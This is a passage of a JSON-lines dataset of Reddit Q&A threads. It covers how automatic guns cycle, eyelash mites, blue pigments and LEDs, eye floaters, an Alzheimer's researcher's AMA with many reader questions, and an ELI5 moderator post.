question?\"\n\nWhen you shoot a bullet in a simple handgun, what happens is that pulling the trigger releases the spring-loaded hammer which hits a firing pin, which ignites the primer, which ignites the powder, which propels the bullet out the barrel towards something you hopefully wanted dead.  On a single action revolver, you have to manually pull the hammer back again which also rotates the cylinder to bring the next bullet into position (in some very rare old guns you have to manually rotate the cylinder as well).  On a double action revolver, you can do that or you can just pull the trigger which will pull the hammer back and rotate the cylinder for you, but this is a harder and longer pull and may affect your aim and rate of fire.  For advanced users, hold down the trigger and slap at the hammer (also called \"fanning\"), quickly pulling it back and rotating the cylinder, and since the trigger is already pulled the hammer falls back and fires the bullet as quickly as possible.\n\nFor an automatic gun, the gun uses the recoil of firing the bullet or the expanding gases to do the \"bring the next bullet into position and pull back the hammer\" part.  Essentially, the machine gun does the fanning part for you.  Powered by the bullets themselves, it will keep firing until you run out of ammo or the barrel gets too hot, which is actually a problem in combat situations.  In WWII, the British would fire unnecessary rounds to heat up their guns so they could heat water for tea.\n\nIt's worth noting that in larger machine guns, those with multiple barrels, they have outside sources of power to rotate said barrels into position.  Early gatling guns had manual cranks.  Newer ones have electrical motors and have a spin up and spin down time during which they can't be fired.  My favorite machine gun is the [General Electric GAU-8/A Avenger](_URL_0_) which also has an A-10 Thunderbolt II \"Warthog\" airplane built around it.", "You provide energy to move the hammer for the first bullet. All other bullets are using the energy of the previous bullets discharge to reset the hammer and since you are holing the trigger down it does not lock in a cocked position and instead strikes the next bullet. ", "From the gunpowder. \n\nAutomatics are generally either recoil operated or gas operated, but the energy all comes from the gunpowder.", " >  I mean, if I think of a simple handgun, I squeeze the trigger which provides this energy for the bullet. But in automatic machine guns there is no such source, right?\n\nActually there is. \n\nThe shiny part you can see in [this image](_URL_0_) (showing the inner working of a SG-550 (standard military weapon in Switzerland) is the hammer. When you load a bullet into the chamber the hammer is automatically cocked and when you pull the trigger you release it. \n\nThe hammer then hits a sort of bolt (I don't know the exact English terms) and this bolt is then rammed into the primer of the cartridge. The primer explodes and ignites the \"larger\" load of \"gunpowder\" which expands abruptly and pushes the bullet out of the rifle. \n\nDuring the firing process part of the energy created is used to reload and during the reload process the hammer gets cocked again. \n\nThe only difference between automatic fire and semi-automatic fire is that the hammer isn't immediately released again after being cocked. \n\nSqueezing the trigger doesn't provide the energy for the bullet. It only sets of the process that will fire the bullet. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Recoil"], [], [], ["http://ep.yimg.com/ay/yhst-137019325655279/dpms-ar-15-bolt-carrier-assembly-8.gif", "http://1.op.ht/365-240-ffffff/opplanet-jp-enterprises-ar-15-169in-large-colt-type-pin-trigger-kit-complete-with-trigger-speed-hammer-jpfcp-2ez-main.jpg", "https://youtu.be/cxwPEL8winI?t=1m40s", "http://www.e-sarcoinc.com/images/products/detail/AR100.jpg"], [], ["https://youtu.be/pHv50lXfDHQ"], [], [], ["http://www.abload.de/img/550_trigger-upgradejta4s.jpg"]]}
{"q_id": "d5vcep", "title": "how do we all have unique eyebrow and eyelash mites?", "selftext": "Like, do we come in contact with someone else's when we're babes, and they mutate to become our own? Shouldn't we all share a blend, since I'm assuming we can share mites as we get older similarly to how we got them in the first place?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/d5vcep/eli5_how_do_we_all_have_unique_eyebrow_and/", "answers": {"a_id": ["f0oeu8w"], "score": [15], "text": ["These mites live on average for 14-16 days. In that time they have reproduced and laid eggs. Obviously they all share their ancestry, but for each generation certain types of mutations happen and is detectable.\n\nWhen you live in close proximity to someone, e.g. *share mites* (that should be a new saying, \"yeah, I share mites with Sharon now\"), they will mingle and you can theoretically be able to figure that out. The mites aren't migratory though, they like to be exactly where they are found, in the eyebrows and eyelashes, so the conditions would have to be pretty ideal for them to leave your eyebrow for someone else's."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8z5fzg", "title": "Why does blue seem to be the hardest color to achieve for so many things, such as LEDs, fireworks, and paints or dyes?", "selftext": "What makes blue special? Also what category would this be?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8z5fzg/why_does_blue_seem_to_be_the_hardest_color_to/", "answers": {"a_id": ["e2g9yzg", "e2gdikh", "e2gm2a9"], "score": [48, 31, 11], "text": ["Not an answer but blue is the shortest wavelength and therefore the highest energy of the visible spectrum. And higher energy is harder all around to deal with. For example, 7,000 kelvin light bulbs emit a lot of blue spectrum and many people find them to be burning and fatiguing of their vision. Another example is radio engineering, where higher frequencies are orders of magnitude more difficult to design and have increasingly erratic behavior. So it is built in to the wavelength/frequency of the light wave and the amount of energy required to generate it.", "Blue LEDs came along after red, yellow and green, but today white LEDs use a blue LED plus phosphors to make red and green. So production of blue LEDs is commonplace if not exactly \"easy\". \n\nDeep blue fireworks are difficult because the burning copper compounds don't emit only blue. They emit blackbody radiation as well because of their heat. That makes for a less saturated blue. The temperature is critical. Too hot means more washed out. Too cool means less blue to start with. A similar effect happens when things are heated to incandescence. At first you see deep red, then orange, yellow, and white. The red doesn't go away as other wavelengths are added. You don't see an overall green or blue hue even though both wavelengths are present in a white hot object.\n\nIs blue paint or dye difficult to make? I know blue is less common in nature than red, yellow, or brown, but green is also uncommon in animals. Many bright green snakes and frogs are actually blue and yellow. The blue comes from interference, the yellow from pigment. When they die, they sometimes turn blue as the yellow pigment fades away. ", "It all comes down to energy. \n\nFor emission, blue light has the highest energy, so to emit it you need to have two states that are pretty far apart in energy that are set up for electrons to transition efficiently between them. Generally, the wider the energy gap between two states, the higher the chance there are other states in between (due to defects, etc.) that electrons would more efficiently hop to (usually non-radiatively), thus quenching the emission.\n\nFor pigments, the problem is the opposite. To appear blue you need to absorb red and green. This requires have a very low-energy transition that red light can excite *without* having a higher-energy one that blue light can. This can be a challenge too, since many extended materials that absorb red and green light (like Si in solar cells) also absorb blue to some extent and just end up looking black. \n\nThree of the main ways to achieve this are to use a transition metal ion with a d-d transition in the red (usually Cu or Co), to use a near-IR absorption that tails into the visible, or to use an extended molecular structure to narrow the gap between ground and excited states. The first approach is how most ancient blue pigments like [Cobalt Blue](_URL_1_) and [Azurite](_URL_2_). The second mechanism is how [Prussian Blue](_URL_5_), [Ultramarine](_URL_3_), and [molybdenum blues](_URL_0_) work - a very easy  (read: low-energy) \"intervalence charge transfer\" where an electron hops between to atoms of the same element in different oxidation states. The last is a more modern approach, where extended pi-conjugated molecules like [copper phthalocyanine](_URL_6_) or [indigo](_URL_4_) are used; many of these organic molecules tend to be less stable to oxygen and UV light."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Molybdenum_blue", "https://en.wikipedia.org/wiki/Cobalt_blue", "https://en.wikipedia.org/wiki/Azurite", "https://en.wikipedia.org/wiki/Ultramarine", "https://en.wikipedia.org/wiki/Indigo_dye", "https://en.wikipedia.org/wiki/Prussian_blue", "https://en.wikipedia.org/wiki/Phthalocyanine_Blue_BN"]]}
{"q_id": "erprpf", "title": "black squiggles in eye", "selftext": " them black squiggly wiggly stuff that randomly appears in front of your eyes then vanishes without a trace. Once me and mum were staring at a plane in de sky and these black squiggles just appeared for both of us. so ya know...im just wondering wut they are", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/erprpf/eli5_black_squiggles_in_eye/", "answers": {"a_id": ["ff584dg"], "score": [3], "text": ["They are little tiny protein debris inside of your eyes fluid. They accumulate more and more as you age. The reason you can\u2019t look directly at them is that moving your eyes to focus on them shifts them around"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4el6zm", "title": "AskScience AMA Series: I'm Ken Kosik, a neuroscientist and neurologist studying the vast landscape of Alzheimer's disease. AMA!", "selftext": "My name is Ken Kosik. I\u2019m a neuroscientist and neurologist at University of California, Santa Barbara. I'm fascinated by nearly every facet of Alzheimer\u2019s disease and other cognitive disorders. I tend to think about the nervous system in terms of genetics and cellular and molecular biology, but also find the clinical questions compelling. AMA!\n \nThe incidence of Alzheimer\u2019s disease is spiraling upward. By age 85 the likelihood of getting the disease approaches 50%, a grim reward for the octogenarian. Few diseases are as simultaneously cruel and mysterious as Alzheimer\u2019s for its ability to obliterate a lifetime of memories and destroy histories even as it robs the person of his or her capacity to function in the present. And because we use memory to envision the future, Alzheimer\u2019s disease also takes away expectations, anticipation, and hope.\n \nNearly 25 years ago, on a trip to Colombia, Dr. Francisco Lopera introduced me a family he had been tracking for the previous decade. We began a collaboration to find the cause of their early onset dementia, which turned out to be Alzheimer\u2019s disease, and to identify the mutation responsible for the autosomal dominant inheritance pattern. The mutation turned out to be the substitution of glutamic acid for an alanine at position 280 of the presenilin I gene. The large extended family that harbors this mutation consists of about 5000 people whose lineage can be traced to a single founder, probably a conquistador who came from Spain not long after Christopher Columbus. Those family members who harbor the mutation are genetically determined to get a particularly aggressive early onset form of Alzheimer\u2019s disease with the first symptoms apparent by age 45. The hallmark amyloid begins to collect in the brain about a decade earlier. Recently, this large Colombian family has begun to participate in a clinical trial that is testing an antibody directed at amyloid in the hope that the drug can reduce the amyloid burden and retard disease progression.\n \nThis story and others related to Alzheimer clinical trials is the subject of a NOVA PBS documentary titled \u201cCan Alzheimer\u2019s Be Stopped?\u201d produced by Sarah Holt. I hope you will be able to watch it on the evening of April 13 at 9/8c on PBS: _URL_0_\n\nBy the way, this is AMA so please feel free to ask me about my other research interests, which include brain evolution and a research project on how the earliest cells during human development become neurons.\n\nThanks again for all your questions. I will continue to answer questions when I can this week, so stay tuned.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4el6zm/askscience_ama_series_im_ken_kosik_a/", "answers": {"a_id": ["d2117m4", "d21189g", "d211baw", "d211cfa", "d211eya", "d211jek", "d211k9j", "d211nqv", "d211p8e", "d211ph9", "d211plm", "d211pre", "d211zj4", "d2120is", "d2120px", "d212381", "d21288q", "d212cll", "d212fp7", "d212l5z", "d212lb6", "d212nco", "d212su5", "d21324p", "d2133ai", "d2134ji", "d2138sh", "d213coz", "d213kiw", "d213upf", "d213zyr", "d2146c2", "d214iwq", "d214jhj", "d214p0k", "d214prl", "d214rcg", "d215edr", "d215htf", "d215zvp", "d2168lf", "d216ena", "d216u10", "d2172gy", "d217isv", "d217wx5", "d21863r", "d2186r9", "d218h60", "d218hfk", "d218lpt", "d2191hl", "d2196tp", "d219ijv", "d21dsk4", "d21du0t", "d21dx1t", "d21gbfe", "d21gip4"], "score": [109, 21, 34, 5, 2, 7, 32, 2, 7, 4, 3, 9, 6, 4, 19, 14, 11, 13, 3, 6, 2, 18, 31, 5, 2, 13, 13, 2, 2, 3, 6, 2, 62, 7, 2, 56, 2, 4, 2, 4, 4, 6, 3, 2, 2, 5, 2, 2, 2, 11, 7, 2, 2, 2, 5, 2, 2, 2, 2], "text": ["Outside of your described genetic family, are there preventive measures (environmental contributors one could avoid) to decrease potential disease occurrence, or are we all doomed to genetic fate?", "David Perlmutter wrote a book called \"Grain Brain\" and he claimed that brain health could be improved upon if people adopted a better diet, namely, a grain free one.\n\nHave you ever seen anyone adopt that theory/diet, or seen Alzheimer's disease either improve or stop progressively getting worse when people adopted a new diet? And do you think what we eat affects our brain health? ", "It seems like we are light years ahead of our understanding of Alzheimer's from just 20 years ago. What do you believe the timeframe is for an Alzheimer's cure or treatments that effectively manage the disease?", "What are your thoughts on cannabis or specifically THC in the treatment of Alzheimer's?", "Does specific psychoactive drug use have influence on the likelyhood/age of getting it? also does it differ from group to group? (stimulants, hallucinogens and/or depressants?)", "What are your thoughts on investigational treatments using radio waves to destroy plaques/tangles? How far would you estimate we are from human trials?", "Hello Ken. Both my grandfathers had/have dementia so it is a group of diseases which I have an interest in. I have a few questions if that's OK.\n\nIs there any evidence for Alzheimer\u2019s being hereditary? \n\nCan the effects of it be delayed or even stopped by certain activates (IE. active mind = healthy mind)?\n\nWhat can non-scientists like me do to help combat this illness besides donating to research charities? \n\nThanks!", "Is the prevalence of Alzheimer's, to some extent, a testament to how good we are at treating other diseases that enough people are living long enough for this to be a problem?", "I've been told that there is a strong corelation between incidents of Major Depression and dementia in older age. Does this include Alzheimer's or is it just other forms of dementia?", "Recent statements by RBD researchers indicate that a patient will develop Alzheimer's \"if they live long enough.\"\n\nThat is a vague, almost meaningless statement.\n\nCan you provide a relative risk, p, or R value for age of onset for Alzheimers or Lewy Body dementia, for a white male starting refractory REM sleep behavior disorder at age 60.\n\nThank you", "Hi Ken, thanks for doing this.\n\nI have a question around concussions and how it relates to early onset Alzheimers. A grandparent had Alzheimers, pretty aggressively, towards the end of their life. \n\nMy understanding is that concussions can cause a build up of amyloid beta plaques which can extend the inflammation cycle after a concussion and effect the brains ability to transport TAO proteins, effecting your neurons ability to make connections. I've also heard that certain genetic traits like Apoe4 can increase our risk for latent effects from concussions 2 to 3 fold. I've made a point of educating myself on concussions, but wonder how this relates to Alzheimers.\n\nI've got a history of head trauma with already a few symptoms creeping in (aphasia, poor short term memory etc) How much should I be worried about my history of MTBI's and how that will effect my predisposition to Alzheimers? Would getting a genetic test (a la 23andme) be helpful at assessing my risk? Is there any promising new research in this field? Would love your insight.", "Hello Ken. What are your thoughts on the use of psychedelic substances, specifically LSD and Psilocybin in the treatment of Alzheimer's?", "Sorry if it's a dumb question, and I'm not sure how to phrase it, but do you think that our conscious actions and conscious control of emotion (such as stress, anger, anxiety) can effect us on a neurological level? For example can somebody with high anxiety and no conscious control be more prone to neurological diseases?", "I've heard somewhere (I don't remember where) that Alzheimer's skips generations. Is this true? If it is then would I be more at risk for getting Alzheimer's than my dad since my grandpa (his dad) had Alzheimer's?\n\nThanks", "One of the central tenants driving Alzheimer's disease (AD) translational research is the Ammyloid Hypothesis - the idea that accumulation of amyloid-beta (A\u03b2) oligomers is causal in the pathology of AD. Despite the near unanimous acceptance of this hypothesis, almost all drugs that have sought to target these oligomers have failed to demonstrate a benefit in AD patients. Indeed, over 95% of *all* AD clincial trials have failed.\n\nThis trend (and other observations, such as the observation that even healthy individuals have A\u03b2 oligomers) has prompted researcher to propose new hypotheses about the patho-etiology of AD. Of these, one hypothesis suggests that dysfunctional Presenilin (the gene which is mutated in these Colombian families) may be the key driver of AD.\n\nHow do you feel about this hypothesis? I see that you are still looking at A\u03b2 in these patients. Do you think A\u03b2-targeting drugs are the future of AD therapy? What other AD hypotheses do you find most compelling? Would gene therapy be a consideration for these patients with Presenilin mutations?", "There was [this study](_URL_0_) that (in my opinion convincingly) linked Alzheimer's to fungal infections. There was quiet a bit of excitement about it for a while but I have not seen anything since. Do you know if any follow ups are done? What are your thoughts on the whole story?", "I'm on my phone so I apologize for any grammatical errors. \n\nI am soon starting my Bsc  in Neuroscience.  One of my bio professors discussed with me about a diet created for Navy  submarine workers where they cut out carbohydrates and trained their bodies to break down the carbohydrate tails of fats and oils. \nShe mentioned for a brief second that it showed prolonged and reduced  symptoms of Alzeihmer's.  \nCould you give me any insight to why that may be if you have any idea? \n(BTW I have great respect for you  and your work) \n", "My understanding is that the precise cause of Alzheimer's Disease is not yet known. Is there currently a hypothesis that is accepted by the majority of researchers?\n\nAre there different 'subtypes' of Alzhiemer's? It seems that compared to diseases like Huntington's, which has a very specific genetic cause, it is more varied in how it arises (e.g. one altered nucleotide in the family you mentioned, but general protein misfolding in non-early onset alzheimer's).", "If the amyloid plaque can be removed with a supplement,  would this help prevent alzheimer's?  From my understanding,  Curcumin  which traverses the blood-brain barrier has shown it helps get rid if brain plaque and products such as Longvida are showing good results in studies getting the Curcumin to the brain.", "Does the chance of Alzheimer's and other cognitive disabilities increase significantly if one is diagnosed with an autoimmune disease (e.g., multiple sclerosis) at a younger age (20's)? When I try to find more information on this particular topic, there is always the standard caution that \"more research still needs to be done.\" Is there any significant correlation that makes it highly likely to develop these conditions later on? Thank you.", "Hi Ken, thanks for doing this. I'm under the impression that not all forms of Alzheimer's are strongly linked to a particular gene or genes. Under the assumption that environmental factors play a role as well, what life style changes can one make to stave off Alzheimer's? As a follow up how effective might these changes ultimately be?", "I saw an article about brain fog:  _URL_0_\n\nThey write\n > Brain \u201cfog\u201d is a constellation of symptoms that include reduced cognition, inability to concentrate and multitask, as well as loss of short and long term memory. Brain \u201cfog\u201d characterizes patients with autism spectrum disorders (ASDs), celiac disease, chronic fatigue syndrome, fibromyalgia, mastocytosis, and postural tachycardia syndrome (POTS), as well as \u201cminimal cognitive impairment,\u201d an early clinical presentation of Alzheimer's disease (AD), and other neuropsychiatric disorders. Brain \u201cfog\u201d may be due to inflammatory molecules, including adipocytokines and histamine released from mast cells (MCs) further stimulating microglia activation, and causing focal brain inflammation.\n\nCould you elaborate on this?  Is there other research on brain fog which sheds light on inflammatory causes?  \n\nI've had a lot of problems from cognitive impairment because of immune reactions - inhalant allergies, delayed food allergies, probably celiac disease.  So I'm wondering particularly what scientists think is the mechanism by which immune reactions cause cognitive impairment.  ", "Why is there a link between Alzheimer's and cancer? (i.e. why do people with cancer have a much lower probability of getting Alzheimer's and vice-versa?)\n\n\nedit: [Inverse correlation between Alzheimer\u2019s disease and cancer: implication for a strong impact of regenerative propensity on neurodegeneration?](_URL_0_)\n\n\n", "A friend mentioned to me that Methylene Blue can be linked to slowing the progression of Alzheimer's quite sharply. Is this the case? And if so, do you have any experience with patients on that regimen?", "Hi Ken\nI'm an industrial design student doing a project involving palliative care and would welcome an opportunity to better understand people with Alzheimer's Disease . \n\nAfter talking to some healthcare workers I found that depression was extremely common among the elderly especially those transitioning into aged care. Is there any evidence to suggest that depression and Alzheimer's could be linked? Could Alzheimer's trigger depression or is it just an unhappy coincidence?", "After many years of rumors and allegations, is there currently ANY real evidence linking antiperspirants (more specifically, the aluminum-based ingredients) to developing Alzheimer's?", "What is your opinion on the prion hypothesis?\nFurthermore, what would be the consequence regarding possible treatment if true?", "Has research with marijuana helped treat alzhimer symptoms? ", "This is out of the scope of your research, but what are your thoughts on what, if anything, governments can or should do to minimize the impact of caring for Alzheimers patients on families?", "Alzheimer is probably the scariest thing for me. I wanted to know if there were any specific things I should stay away from that have been linked to increasing the chance of developing Alzheimer's disease?", "I am a neuroradiographer in the UK.  Often we get dementia/Alzheimer's patients in for imaging to rule out another cause for cognitive decline before a definitive diagnosis is made.  However, do you foresee a time where imaging (MRI spectroscopy etc) may be used in treatments or interventions outwith a research environment? i.e. in a widespread hospital environment such as the NHS?  It would be nice to see a time where the patients we image with Alzheimer's are improving, rather than imaging to confirm a life-changing diagnosis.", "You seem to hint that amyloid plaques are a cause of AD. While for sure amyloid it's involved in AD, do you still think that they are directly causing damage? \n\nDidn't all the recent trials of amyloid \"washers\" kind of failed, and on top of that FDG and amyloid PET imaging showed that amyloid accumulation occurs mostly in area where we do not see brain damage (i.e. frontal amyloid accumulation and precuneus/posteriour cingulate methabolic damage) ?", "How do you feel about the hypotheses that Alzheimer's disease is a form of Diabetes type 3? Thank you!", "Do you think there i a link between Alzheimer's and prions, kind of like MSA?", "Hi, I'm very interested in Alzheimer's disease I have two questions really. \n\nFirstly, do you believe Alzheimer's is \"one disease\" or do you think we have in fact been looking at a wide number of conditions and have lumped them together artificially? I ask because the symptoms often seem the same but then after the solanezumab trials we started PET-scanning for amyloid and it yielded some interesting results.\n\nSecondly, I've noticed a lot of interest in the familiar form - do you really think that has any relevance to sporadic Alzheimer's and can teach us anything about the disease? To me they seem like very different diseases.", "Hi Ken, thank you for doing this AMA.\n\nWe found out a couple months ago that my husband has the mutation in psen1, which causes a form of early-onset Alzheimers. He is in his early 30s and has already been exhibiting symptoms consistent with the early stages of the disease, which is what prompted us to initially seek out medical advice, which eventually led to a genetic test.\n\nWhat's been the most surprising to me about everything is how unhelpful the doctors have been; or maybe it's more fair to say they don't have experience with early-onset. Our large HMO has no cohort, no registry, no specialist (they all see older patients), nothing. The only concrete thing they've told us to do so far is to look into clinical trials, but reading through those they all either look insane (cure it with garlic! etc) or they are located in France.\n\nI'll really don't know what to do next. Do you have any recommendations for specific clinical trials (US-based) or medications that we should ask about?", "I am a current grad student and recently someone that came to talk to my class said that over 95% of people over 100 years old have some form of neurodegenerative disease whether that be ALS, AD, MS or whatever else. She also discussed how usually by the end there are multiple neurodegenerative diseases that have spread and become more and more diffuse in the brain. She tended to be fairly grim saying that getting brains with only the pure effects of a particular disease is extremely difficult due to this spread and multiplication of neurodegenerative diseases, but also other effects from the body that have changed the brain too much to be used for study such as alcoholism. I was wondering how much this affects your research and also wanted to ask how much of a barrier you felt neurodegenerative diseases are to life extension. ", "why do people, including medical experts, continue to insist amyloid plaque is the number one suspect as the cause of Alzheimer's when the much more likely culprit is iron deposits in the brain?\n\n_URL_0_\n\n > \u201cAmyloid is found all over the brain in Alzheimer\u2019s disease, and often in the brains of people who\u2019ve died with no complaints of memory loss at all,\u201d Zeineh said. \u201cTau is also found throughout the Alzheimer\u2019s brain. This iron-microglia complex, in contrast, really seems concentrated in the subiculum \u2014 and, so far, it\u2019s showing up only in brains from Alzheimer\u2019s patients.\u201d", "How much do you think environment plays a role in the onset of Alzheimer's? In my psychology and neuroscience class we had discussed that those in academia were less likely have an onset of Alzheimer's because they were constantly learning new information and using their brain. But if it's a genetic mutation, it seems like environment wouldn't play much of a role. \n\nThanks for doing this AMA! ", "The amyloid cascade hypothesis is probably the most common theory of Alzheimer's disease, and much of that comes from presenilin, as well as APOE E genotype studies. Cool. \n\nBut there is just *so much work* showing that the correlation between Ab and cognitive impairment, or even AD, is nowhere near 1:1. I really like the mitochondrial cascade hypothesis, which places itself a bit further upstream of the amyloid beta cascade. It's not a new theory (2004!), but I rarely see it cited outside mitochondrial researchers. Do you have any thoughts on why? Why has the amyloid beta hypothesis stuck around so consistently when there are really good advances on it to be made? \n\nThanks! Enjoy your work :) ", "Thank you for taking the time to share your knowledge.\n\nI have three family members who ended up with Alzheimer's, with noticeable symptoms starting in their '70s, who all lived into their '90s. It was a difficult decline, to say the least, causing health declines for us caregivers as well. I have two questions:\n\n1) Each of them ended up with different extreme behavioral issues - one with unmanageable OCD and anxiety, one with wild paranoid hallucinations and panic attacks, and one with frontal lobe dysfunction causing hypersexuality and a total lack of inhibition. Does Alzheimer's affect each person's brain differently, causing damage to different parts that cause such different behaviors? Or did each of them have these latent tendencies already, with Alzheimer's being the catalyst that brought them out?\n\n2) Is there quality research going on regarding the health declines of caregivers, and ways to mitigate and treat this? I've seen sleep deprivation, potentially stress-induced high cholesterol and blood pressure, severe depression, and cognitive decline in their spouses. Support groups help some with the tears, but trying to get medical help (and insurance coverage for it!) is difficult, as many primary care doctors and insurance companies don't seem to see caregiver burnout as a comprehensive medical condition.", "Is Ben Carson still a respected neurosurgeon?", "In your professional opinion at what point should we get somebody checked for Alzheimer's? Is there any one action that would lead somebody to believe they could have Alzheimer's such as forgetting where their keys are or something when they just put them in their pocket.", "What do you think of neural augmentation through gradual replacement of neurons? When the last piece of brain tissue is replaced with artificial neurons, is it still the same being? Was consciousness preserved?", "Thanks for taking the time to answer our questions! If you had to guess, how far do think we are from a cure? Will our children still have to worry about AD?", "Does Alzheimer's \"resurface\" memories that were \"lost\" before the disease set in? My granddad remembered things from college and they were so vivid I couldn't believe he remembered them. (Of course, he thought he _was_ in college, so I guess it's possible he was making some of them memories up).", "What's the first sign that you have Alzheimer's? How do you know if you're in your thirties that you might have Alzheimer's? ", "Besides what causes Alzheimer's is there just something else about this disease that you or other researchers just dont understand? ", "First off, thank you for doing this!\n\nEven though it isn't necessarily your field, I plan on going into neurosurgery, I'm currently a freshman majoring in biology. Any advice you could give me?\n \nAlso, for the past month or so I've been getting chronic headaches on the right side of my head, and when I get these headaches there's a vein that becomes very prominent and will begin to throb. Yesterday the vein and area of my head began to hurt and was very sensitive to touch. Any pre diagnoses you could give me before I see the doctor/ get referred to a neurologist? Thank you again!\nEdit: format changes", "What myths circulating about AD can you put an end to?", "What is your opinion on intermittent fasting in regards to Alzheimer's? _URL_0_\n \"Studies show that keeping calories at around that level stimulates two messaging chemicals that operate at the cellular level and are key to the growth of brain cells in animals and humans. The shock of fasting leads the brain to create new cells. As neurons are coaxed to grow, the brain becomes more resistant to the effects of protein plaques that underlie cases of Alzheimer's, or the damage inflicted by Parkinson's.\"\nDo you think there's something there? ", "Dr. Kosik,  \n \nThanks for doing this AMA. My mother was diagnosed with early onset Alzheimer's about 4 years ago when she was 58. Her mother also had Alzheimer's. 2 years ago we lost my father to cancer and my mother's health and well being have greatly declined since. Due to a fall she is now living in an assisted living home.  After her fall, she spent 3-4 months in skilled nursing where they checked her blood pressure multiple times a day. From what I know now, all of those were normal readings.  \n \nLast week we had to take her to the ER because of an irregular heart beat. This happened directly after a physical therapy session. The ER wanted to admit her and potentially put in a pacemaker but due to her illness and her DNR we opted to do a follow up appointment instead. That appointment is scheduled for tomorrow.  \n \nMy Question: Is there any relationship to Alzheimer's and irregular heart beat or cases where you see patients having \"falling\" episodes? Would adding a pacemaker have negative side affects to her overall illness or health?  \n", "Just wanted to say thank you for working on such an important issue. My girlfriend found out her dad has alzheimers a few weeks ago and the worst thing about it is the feeling of helplessness. \n\nCan you tell me why we seem to have no way of combatting this disease? What makes it so difficult to crack? \n\nThank you", "Hi, thanks for doing this. Both of my Dads parents suffered from alzheimers late in life. I was wondering what chance my dad or perhaps even my own chances are of getting it?\nMy Girlfriend told me thst my father will definatly get it but because I am bilingual the chances of me getting alzheimers is much lower as i dont speak my native language all of the time. Does this check out??", "Do you think LSD or other psychedelic's could be a good way to treat diseases such as Alzheimer's disease and other mental health diseases? Thank you. ", "Do you think memories are encoded within neurons?  Perhaps as arrays of cytoskeletal proteins, with different conformations on the surface?\n\nPlaques may lyse the cells and break down the information recorded by those proteins.  No?", "How far away are do you think we are from a cure? ", "I'm not sure if this will even be answered, but I've always been curious. Do certain people with Alzheimer's realize that they have it? Every time they wake up they don't remember who they are, so do they say, \"Well shit, it appears as though I have Alzheimer's or something because I don't know who I am.\"\n\nMay be kind of a silly question, and it's hard to phrase, but I'm curious nonetheless.", "What do you think about the prospects of the research into methylene blue and the derivative Rember in regards to helping sufferers of AD? "]}, "title_urls": [], "selftext_urls": ["http://www.pbs.org/wgbh/nova/body/alzheimers-be-stopped.html"], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.nature.com/articles/srep15015"], [], [], [], [], [], ["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC4490655/"], ["http://bmcneurol.biomedcentral.com/articles/10.1186/s12883-014-0211-2"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://med.stanford.edu/news/all-news/2015/07/iron-containing-inflammatory-cells-seen-in-alzheimers-brains.html"], [], [], [], [], [], [], [], [], [], [], [], [], ["https://sa.fightdementia.org.au/sa/about-us/news/intermittent-fasting-may-improve-brain-function"], [], [], [], [], [], [], [], []]}
{"q_id": "mqe8b", "title": "just a reminder from your friendly neighborhood moderators.", "selftext": "Everything's going swimmingly with the subreddit. We've gotten some complaints about the quality of some questions and answers so I just wanted to remind everyone of two things.\n\n* Try to keep your posts neutral. It's better to post \"ELI5 why so many Republicans are vehemently opposed to President Obama\" than \"ELI5 why President Obama sucks.\" One that note, we also don't want to be making any suppositions (that President Obama sucks, for all you know he may not).\n\n* Let's avoid the pedantry. Most everyone's been pretty flexible with the definition of \"explain like I'm five,\" and we should keep it that way. I've still seen a few hold outs, however, and to them I say: it's more important that an answer is simple/informative than it is strictly something a five-year-old would understand.\n\nThanks for being a great community!\n\n**Shameless Plug:** Expanding the Five-Year-Old's Guide to the Galaxy has been somewhat of a pet project of mine. Don't forget to submit your nominations for the best, most informative answers [here](_URL_0_) so we can eventually collate them all into the Guide. (The link is also in the sidebar under the link to the Guide.) To those who've nominated things so far: keep up the great work!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/mqe8b/just_a_reminder_from_your_friendly_neighborhood/", "answers": {"a_id": ["c330epv", "c330l0h", "c330xtr", "c3313d7", "c331a43", "c331hf3", "c331iqo", "c3328dy", "c332b3o", "c332fa1", "c33fnu9", "c330epv", "c330l0h", "c330xtr", "c3313d7", "c331a43", "c331hf3", "c331iqo", "c3328dy", "c332b3o", "c332fa1", "c33fnu9"], "score": [33, 99, 10, 13, 19, 2, 6, 7, 15, 2, 2, 33, 99, 10, 13, 19, 2, 6, 7, 15, 2, 2], "text": ["Vehemently? Suppositions? Can you please ELI5...", "I've gotten bitched at for asking \"questions that you should already know\"\n\n\u0ca0_\u0ca0\n\notherwise this subreddit is pretty awesome. ", "i get the feeling ELI5 is feeling the heat from /r/askscience.  they've raised the bar over there.", "i just hate the \"THIS SHOULD BE POSTED IN ASKREDDIT, NOT ELI5 ASSHOLE\" posts. they often overlap. LET THE UPVOTES DECIDE!", "I'd like the moderators to start being more strict. I understand that it can be awkward moderating heavily because you don't want to come across like overzealous moderators or think it's more fair to just let it all happen democratically or whatever, but you're moderators - don't be afraid to moderate. Otherwise the subreddit'll get worse and further away from the original purpose as more and more people come. \n\nEver notice that [/r/AskReddit](/r/AskReddit) was supposed to be 'for thought-provoking, inspired questions', but totally isn't? Take a page from [/r/AskScience](/r/askscience)'s book and follow their example - don't hesitate to remove stuff that's shitty, otherwise people'll continue to complain about the quality of the subreddit and it'll still continue to do shitty things like all the other subreddits. Then we have to deal with all the drama about the 'direction of the subreddit' and you moderators have to make repetitive futile pleas like this.\n\nSo, shitty jokes, irrelevant answers, bad answers, biased answers, bad questions, biased questions, useless feuds about the definition of 'ELI5', transparently disguised DAE posts, and all other such uninteresting and uneducational shite, you should just mercilessly remove it all so we and you don't have to look at it, talk about it, have these threads, and distract from the original purpose and goal of the subreddit, which is just learning interesting stuff.\n\nHell, make me a moderator and I'll do it for you.", "Also.. 